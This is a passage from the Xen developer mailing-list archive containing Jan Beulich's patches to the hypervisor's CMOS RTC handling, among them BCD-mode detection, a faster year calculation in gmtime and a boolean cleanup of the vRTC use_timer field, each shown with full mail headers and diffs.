         )*60 + sec; /* finally seconds */
 }
 
+static bool __ro_after_init opt_cmos_rtc_bcd;
+boolean_param("cmos-rtc-bcd", opt_cmos_rtc_bcd);
+
 struct rtc_time {
     unsigned int year, mon, day, hour, min, sec;
 };
@@ -1285,7 +1288,7 @@ static bool __get_cmos_time(struct rtc_t
     if ( acpi_gbl_FADT.century && acpi_gbl_FADT.century < 0x80 )
         century = CMOS_READ(acpi_gbl_FADT.century);
 
-    bcd = RTC_ALWAYS_BCD || !(CMOS_READ(RTC_CONTROL) & RTC_DM_BINARY);
+    bcd = opt_cmos_rtc_bcd || !(CMOS_READ(RTC_CONTROL) & RTC_DM_BINARY);
 
     spin_unlock_irqrestore(&rtc_lock, flags);
 
@@ -1353,6 +1356,48 @@ static bool __init cmos_rtc_probe(void)
     return false;
 }
 
+static inline bool __init attr_const is_bcd(unsigned int x)
+{
+    return (x & 0xf) < 10 && (x >> 4) < 10;
+}
+
+static void __init cmos_rtc_probe_bcd(void)
+{
+    bool bcd;
+    unsigned long flags;
+
+    if ( opt_cmos_rtc_bcd )
+        return;
+
+    spin_lock_irqsave(&rtc_lock, flags);
+    bcd = !(CMOS_READ(RTC_CONTROL) & RTC_DM_BINARY);
+    spin_unlock_irqrestore(&rtc_lock, flags);
+
+    if ( bcd )
+        return;
+
+    for ( unsigned int seclo = 0; ; )
+    {
+        struct rtc_time rtc;
+
+        if ( !__get_cmos_time(&rtc) ||
+             !is_bcd(rtc.sec) ||
+             !is_bcd(rtc.min) ||
+             !is_bcd(rtc.hour) ||
+             !is_bcd(rtc.day) ||
+             !is_bcd(rtc.mon) )
+            return;
+
+        if ( seclo > (rtc.sec & 0xf) )
+            break;
+
+        seclo = rtc.sec & 0xf;
+    }
+
+    printk(XENLOG_WARNING "CMOS RTC indicates binary mode but uses BCD\n");
+
+    opt_cmos_rtc_bcd = true;
+}
 
 static unsigned long cmos_rtc_read(void)
 {
@@ -1614,6 +1659,10 @@ static void __init probe_wallclock(void)
     if ( cmos_rtc_probe() )
     {
         wallclock_source = WALLCLOCK_CMOS;
+
+        if ( opt_cmos_rtc_probe )
+            cmos_rtc_probe_bcd();
+
         return;
     }
     if ( efi_enabled(EFI_RS) && efi_get_time() )



From xen-devel-bounces@lists.xenproject.org Thu Jul 02 09:30:19 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 09:30:19 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351469.1608637 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfDkP-0007aY-4P; Thu, 02 Jul 2026 09:30:17 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351469.1608637; Thu, 02 Jul 2026 09:30:17 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfDkP-0007aN-0I; Thu, 02 Jul 2026 09:30:17 +0000
Received: by outflank-mailman (input) for mailman id 1351469;
 Thu, 02 Jul 2026 09:30:16 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wfDkO-0007aE-Ed
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 09:30:16 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfDkN-005BnN-R1
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 11:30:15 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a462fa0-bab6-0a2a0a5309dd-0a2a4504a8e6-34
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 11:30:12 +0200
Received: from [209.85.128.43] (helo=mail-wm1-f43.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a462fa4-a01d-0a2a45040019-d155802be9da-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 11:30:12 +0200
Received: by mail-wm1-f43.google.com with SMTP id
 5b1f17b1804b1-493c5220cb7so6126625e9.3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 02:30:12 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-477ddf0fb15sm6408144f8f.29.2026.07.02.02.30.11
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 02 Jul 2026 02:30:11 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782984612; x=1783589412; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:autocrypt:content-language
         :references:cc:to:from:subject:user-agent:mime-version:date
         :message-id:from:to:cc:subject:date:message-id:reply-to;
        bh=jsZGfw5l+d7+WFu2XU7K4eUza6w7rx46SRYGAdrvpLc=;
        b=RToPEnpl+ShX+B34QkEWrW7wgJk3lnxFeiB6C/7RLRpgjo+hzITy+QrVKv2anq+ut0
         kIdX6f9zk5vzoqBXRLPOvCSo3U1WPjUarTAlah6V1EI5JiHGEFmewFzMO0ddl/a/3TtC
         E3vXmB2k8nF695Gey3/KkdP8PvoK6NF/eIKivq7iTZFZAB8n41x3l2+Gx8lAMlh7MAvZ
         iXpJD1RS7TpI++Weh4Unb/Yx79nIz8KjP1HpuKCX29V9MDYN6QtbmAynJcIhbp5GVIH3
         tTW/OeH8KmOE2m4j26yzZAv6ElB840ql3lVfzqoIKCa8GJZzPAqjRjKi3+nPjN+ZRllu
         Evhg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782984612; x=1783589412;
        h=content-transfer-encoding:in-reply-to:autocrypt:content-language
         :references:cc:to:from:subject:user-agent:mime-version:date
         :message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=jsZGfw5l+d7+WFu2XU7K4eUza6w7rx46SRYGAdrvpLc=;
        b=TWrocYTEor473Qd9cwemBwbKpKesE3b4rCRTXT5dbs1V8clPslAGcbezDxOnMAea0A
         3kl5djXHb8WxiVUu0ql5AP2+B0+USRwhejJVdfiTfs7Jouu9/JpteGwGU8XJCHCWxI1y
         mbnmdJJLfQ2NXKllAPrX4P8YFEgiJ6FeA5q+VT4fyb4Xi9Ad7nsae40LevkGVnYzh1To
         r8ekhkI8oVDdsO4BTCIGbrfje/bTVd1X4GDjAiKQno+wDI4EgOqwMCHyYkYDud45p9UF
         dajQD3WY2eMZu3AO0KBt88Qy7E1Ffaqlsvv/i9YMW25TH0ZaLq9NJnXA2cooWPWLoQM0
         nGFQ==
X-Gm-Message-State: AOJu0YzI3lfy4fuDrvXLKW86EBvFcZJlElamP0QUVRX1MtK9oC78Vqaf
	l2FDGtK/N6+xPFaeEB/iKIuP7/abbn3ZGRQu0FnMm7oJaHf/ASs/n4E67Vy8TCrbdbn0OOnep95
	9EqU1jQ==
X-Gm-Gg: AfdE7cl/UNXC2UXQ/FphH52xBVCWDKZhP4F2kgvb/W34dtE/PR2BI1Kdas0PfYZDTNF
	tnK9unBZHyIDFqSFtr5dmQPmkJQFFBqlO98gxVoxDDPx9LCgSAPG/F8+NWGsAOIih7k+jL4swG/
	ogg1yB2BaTk12Qi0aqDyruh2m5SMP2snNd0jQRTp+UtZikhAI8dluGMqlHivfILqFys2Oxdj3Kc
	nzDoIuEJhVL2ytCCkNwDTo5df8UkSY4EI1LQB3xDLpI7SJY9nwicuFrQL7/VzoUBqD3OhGg8Q8G
	32ycbMb8gXJ+VbYOioF76n4+Bo4Yf4cC529AQAm8byzc05fEEUII5HRq3q1M1TSjESQW55XQqoe
	ImhxPDZGut5zYi2jtVHBcufjcjWJXZLGbZenVMMVfdhpG+kQLI12iqScsvL/LXowHraYvQnxhG8
	1nPGKHKpN9B9ZZPM5zte+TzPd89VOcHUWphAwJqU11XTEHwvhIR/0wSWe+q3af3lUqTS3uj0+5W
	4iTS6VxKQr+yZI=
X-Received: by 2002:a05:600d:15a:10b0:493:b92d:9166 with SMTP id 5b1f17b1804b1-493c3cdb264mr46373155e9.12.1782984611990;
        Thu, 02 Jul 2026 02:30:11 -0700 (PDT)
Message-ID: <7bed7164-9a53-4e53-9fc1-7af68108bdf8@suse.com>
Date: Thu, 2 Jul 2026 11:30:11 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH v2 2/4] time: shorten year determination loop
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Julien Grall <julien@xen.org>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger.pau@citrix.com>
References: <79d50725-3892-4643-b854-bfec9c0c0d79@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <79d50725-3892-4643-b854-bfec9c0c0d79@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ebf023/1782984612-AE3371CC-6FE7A245/0/0
X-purgate-type: clean
X-purgate-size: 1420

For dates very far into the future (the MC146818 RTC's century byte can go
up to the 99th century), the present year-wise loop would become somewhat
inefficient (taking perhaps several thousand iterations). Prefix that loop
with a 400-year granular calculation (somewhat like the earlier loop does
for dates in the past).

Signed-off-by: Jan Beulich <jbeulich@suse.com>
---
v2: New.

--- a/xen/common/time.c
+++ b/xen/common/time.c
@@ -27,6 +27,8 @@
 #define __isleap(year) \
   ((year) % 4 == 0 && ((year) % 100 != 0 || (year) % 400 == 0))
 
+#define DAYS_IN_400_YEARS (365 * 303 + 366 * 97)
+
 /* How many days are in each month.  */
 static const unsigned short int __mon_lengths[2][12] = {
     /* Normal years.  */
@@ -57,7 +59,7 @@ struct tm gmtime(unsigned long t)
     while ( t & (1UL<<39) )
     {
         y -= 400;
-        t += ((unsigned long)(365 * 303 + 366 * 97)) * SECS_PER_DAY;
+        t += (unsigned long)DAYS_IN_400_YEARS * SECS_PER_DAY;
     }
     t &= (1UL << 40) - 1;
 #endif
@@ -71,6 +73,11 @@ struct tm gmtime(unsigned long t)
     tbuf.tm_sec = rem % 60;
     /* January 1, 1970 was a Thursday.  */
     tbuf.tm_wday = (4 + days) % 7;
+    if ( days >= DAYS_IN_400_YEARS )
+    {
+        y += (days / DAYS_IN_400_YEARS) * 400;
+        days %= DAYS_IN_400_YEARS;
+    }
     while ( days >= (rem = __isleap(y) ? 366 : 365) )
     {
         ++y;



From xen-devel-bounces@lists.xenproject.org Thu Jul 02 09:30:49 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 09:30:49 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351475.1608645 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfDkt-00085C-DP; Thu, 02 Jul 2026 09:30:47 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351475.1608645; Thu, 02 Jul 2026 09:30:47 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfDkt-000855-9z; Thu, 02 Jul 2026 09:30:47 +0000
Received: by outflank-mailman (input) for mailman id 1351475;
 Thu, 02 Jul 2026 09:30:46 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wfDks-00083f-3u
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 09:30:46 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfDkr-007LhY-Cd
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 11:30:45 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a462fc1-bab6-0a2a0a5309dd-0a2a4502b084-16
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 11:30:45 +0200
Received: from [209.85.128.50] (helo=mail-wm1-f50.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a462fc5-5a27-0a2a45020019-d1558032adc5-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 11:30:45 +0200
Received: by mail-wm1-f50.google.com with SMTP id
 5b1f17b1804b1-490b1bbcf3aso8774945e9.1
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 02:30:45 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-477db3dba3csm7260779f8f.3.2026.07.02.02.30.44
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 02 Jul 2026 02:30:44 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782984645; x=1783589445; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:autocrypt:content-language
         :references:cc:to:from:subject:user-agent:mime-version:date
         :message-id:from:to:cc:subject:date:message-id:reply-to;
        bh=mJ8woLo45Zcyjbsvy9U/vb99ZvZrS30qykRl4pv4VUo=;
        b=Q4s5MUdwPvZbit11Oh/C7jQJ3+6m/gTLzOdJffKS7a8n2/PW6GAIdgb9Rr/NLoGjlf
         dXqTN2ne+UGxxkJNoAWSj4Z63AZJqhjdcaf4FusnalTgLwNhBwRxm5HfQoJQTroVkyZi
         UMRW29BTNChWQ9JH73WLCK8q7JPIcZrdUuK6GBxkV4Q5kZonHWJHQDtS3XWjWveQ6bal
         Xq9wMDru9EDoDALfd4zD8GfQnPbZfGbavqMkb5HwYqaqCFKBPIAfhDk2Ocryw7N3vNoO
         U+ywn5AVaQX/2gHTNWv1XJE71TFsyGVMCH//ftqqos8cH60xDVj84vziMloLwb85sm+B
         9sDA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782984645; x=1783589445;
        h=content-transfer-encoding:in-reply-to:autocrypt:content-language
         :references:cc:to:from:subject:user-agent:mime-version:date
         :message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=mJ8woLo45Zcyjbsvy9U/vb99ZvZrS30qykRl4pv4VUo=;
        b=fUspJIK95nB5LEBp2zlcIyTv1fCzE21GwwhewORGEEtHzdW3iWLlCW4xYKtJFvNM0p
         TPPyAUFEw8BqyLmRZe034tIpFxVImUGSCrw/lXH33mcWJ6uA5uHaFob+O7zFLvzE8a2q
         O3Py5NrMV4onefAYJNGgTV8SCeOGWKpNBgjxBBcXUWLxeWy8iHmyzxTriZBL8/fKqZ2O
         QWoAvaGQt7X/l28l4cV2oF1vXeGM0Y2EoK6H2ceThN1zsA3Uq4qFMdaoOFSQMuc6yIAm
         A4eItt3D3eDJyqvNxKuAnGpmlVuXR6ac09ryboP96bclhRHNHegNViGwqj5dEWC7eAy0
         3kjQ==
X-Gm-Message-State: AOJu0YxYuC+q01aM/HcW7P4zOrxaijUT0+NGQNjVVxYW5Uecq0F51PHm
	+Zwyy71G1PkIrADda0xHEecr4W4RVZze3Cmebd05Sw7MXJehR3iSQNTBYeV1lb20uG90Eph0Bf/
	wVAS4Nw==
X-Gm-Gg: AfdE7ck7825InuIJNxMkUjkMy0eU0mmsR5Yc9oH4JsU/RlGwrNSTgXnSXfAoS+g9LZ3
	1Gb2sKWMgg/+UmRtoFOSlgvLisKrA1dC0guBrNYfF4wgUcT4lxgIVO1n7Qac3Tn6GBv0Xltk913
	71P1hYvmeuOKAONbfr55wL8jivxViQ12bmDoJtp0TJTaDTsHWBGW866f5tQ388bmoe3wrSrjLFJ
	7BYk5qPJzx7rSbU8MD8yvKzABjrDq8Hwk8GPo8Q3aIaS2+u9uor7rZksyHx9HUyVgUK1rvTHPhH
	MswHyTIgTFiVnJXuhh58r8UW5J0hZBK6FGG2J/WybfmTe2ErUw3TFAE44D12zrR2sXJLFj1esOc
	WK9Fhry5dOJGRwC9z/BCIvrWnF0nDAR0pxSQPqeEsV/OSXgEy2ufEZkTc0TDruGIjveqRVe3ZBH
	X5cfKTiDM1N6Wa2+bbbeof6Qw7esELRBoTI+XY+EMrXwLuTaF1C+nIROm8M0AuVZQJl0iJs/pfa
	Pz7Xs87UVGuw/g=
X-Received: by 2002:a05:600d:8649:10b0:490:44eb:c1ea with SMTP id 5b1f17b1804b1-493c2b905d3mr60498205e9.24.1782984644789;
        Thu, 02 Jul 2026 02:30:44 -0700 (PDT)
Message-ID: <f8c7271e-db76-4dd0-af5f-6ed11f9be8aa@suse.com>
Date: Thu, 2 Jul 2026 11:30:44 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH v2 3/4] x86/vRTC: the use_timer field is a boolean one
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>
References: <79d50725-3892-4643-b854-bfec9c0c0d79@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <79d50725-3892-4643-b854-bfec9c0c0d79@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-720697/1782984645-545187C5-63C8DB66/0/0
X-purgate-type: clean
X-purgate-size: 1382

... and hence wants to be of bool type.

Signed-off-by: Jan Beulich <jbeulich@suse.com>
---
v2: New.

--- a/xen/arch/x86/hvm/rtc.c
+++ b/xen/arch/x86/hvm/rtc.c
@@ -186,7 +186,7 @@ static void check_update_timer(RTCState
     if (!(s->hw.cmos_data[RTC_REG_C] & RTC_UF) &&
             !(s->hw.cmos_data[RTC_REG_B] & RTC_SET))
     {
-        s->use_timer = 1;
+        s->use_timer = true;
         guest_usec = get_localtime_us(d) % USEC_PER_SEC;
         if (guest_usec >= (USEC_PER_SEC - 244))
         {
@@ -214,7 +214,7 @@ static void check_update_timer(RTCState
         }
     }
     else
-        s->use_timer = 0;
+        s->use_timer = false;
 }
 
 static void cf_check rtc_update_timer(void *opaque)
@@ -673,7 +673,7 @@ static uint32_t rtc_ioport_read(RTCState
         break;
     case RTC_REG_A:
         ret = s->hw.cmos_data[s->hw.cmos_index];
-        if ((s->use_timer == 0) && update_in_progress(s))
+        if ( !s->use_timer && update_in_progress(s) )
             ret |= RTC_UIP;
         break;
     case RTC_REG_C:
--- a/xen/arch/x86/include/asm/hvm/vpt.h
+++ b/xen/arch/x86/include/asm/hvm/vpt.h
@@ -106,7 +106,9 @@ typedef struct RTCState {
     s_time_t check_ticks_since;
     int period;
     uint8_t pt_dead_ticks;
-    uint32_t use_timer;
+
+    bool use_timer;
+
     spinlock_t lock;
 } RTCState;
 



From xen-devel-bounces@lists.xenproject.org Thu Jul 02 09:31:20 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 09:31:20 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351486.1608653 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfDlO-0000Ck-L8; Thu, 02 Jul 2026 09:31:18 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351486.1608653; Thu, 02 Jul 2026 09:31:18 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfDlO-0000Cd-Hw; Thu, 02 Jul 2026 09:31:18 +0000
Received: by outflank-mailman (input) for mailman id 1351486;
 Thu, 02 Jul 2026 09:31:17 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wfDlN-0000CK-5O
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 09:31:17 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfDlM-007Lzy-IA
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 11:31:16 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a462fdd-5cb7-0a2a0a5109dd-0a2a4505d4b2-18
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 11:31:16 +0200
Received: from [209.85.128.48] (helo=mail-wm1-f48.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a462fe4-3cb2-0a2a45050019-d1558030a59c-3
